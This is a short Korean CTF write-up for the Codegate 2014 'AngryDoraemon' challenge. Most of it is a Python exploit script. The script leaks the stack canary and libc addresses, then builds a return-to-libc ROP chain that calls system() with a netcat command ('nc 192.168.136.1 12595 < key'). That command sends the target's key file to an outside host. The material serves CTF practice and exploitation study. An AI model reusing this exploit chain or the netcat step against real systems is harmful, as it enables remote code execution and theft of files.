Codegate 2014 - AngryDoraemon

처음에 볼땐 환경구축에 필요한 게 참 많길래 어려운 문젠가 싶었으나 오히려 Nuclear보다 쉽게 풀었다.

이번에는 쉘따려고 고생하지 않고 바로 key를 출력하도록 했다.

푸는데 걸린 시간 약 2시간 반...?

from hackutil import *
from socket import *
from time import *
 
HOST = '192.168.136.139'
PORT = 8888
 
#==============================================
pppr = 0x08048b2c
ppppr = 0x080495bc
read_plt = 0x08048620
read_got = 0x0804B010
write_plt = 0x080486E0
write_got = 0x0804B040
libc_main_got = 0x0804B038
offset_read_system = 0x9aa40
binsh = 0x0804970D
bss = 0x0804b080
#==============================================
 
banner()
 
print "===================[ Phase 1 : Canary leak ]=================="
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload = 'y'*11
 
s.send(payload)
sleep(0.1)
 
data = s.recv(1024)
 
canary =  up32(data[22:26])[0] & 0xFFFFFF00
print "[*] Found Canary : "+hex(canary)
s.close()
 
print "==================[ Phase 2 : Library leak ]=================="
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload2 = 'y'*10 + p32(canary) + 'A'*12
payload2 += p32(write_plt) + p32(pppr) + p32(4) + p32(read_got) + p32(4)
payload2 += p32(write_plt) + p32(pppr) + p32(4) + p32(libc_main_got) + p32(4)
 
s.send(payload2)
sleep(0.1)
 
data = s.recv(1024)
read_lib = up32(data[0:4])[0]
libc_main_lib =  up32(data[4:8])[0]
system_lib = read_lib - offset_read_system
 
print "[*] Found read_lib : "+hex(read_lib)
print "[*] Found libc_main_lib : "+hex(libc_main_lib)
print "[*] Found system_lib : "+hex(system_lib)
print '[*] &"/bin/sh" : '+hex(binsh)
 
s.close()
 
print "================[ Phase 3 : Attack with RTL ]================="
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
sleep(2)
s.recv(1024)
s.send('4')
sleep(0.2)
s.recv(1024)
 
payload3 = 'y'*10 + p32(canary) + 'A'*12
payload3 += p32(read_plt) + p32(pppr) + p32(4) + p32(bss) + p32(0x100)
payload3 += p32(system_lib) + "AAAA" + p32(bss)
 
s.send(payload3)
sleep(0.1)
s.send('nc 192.168.136.1 12595 < key')
sleep(0.1)
 
s.close()
 
print "==================[ Phase 4 : Got the Key ]==================="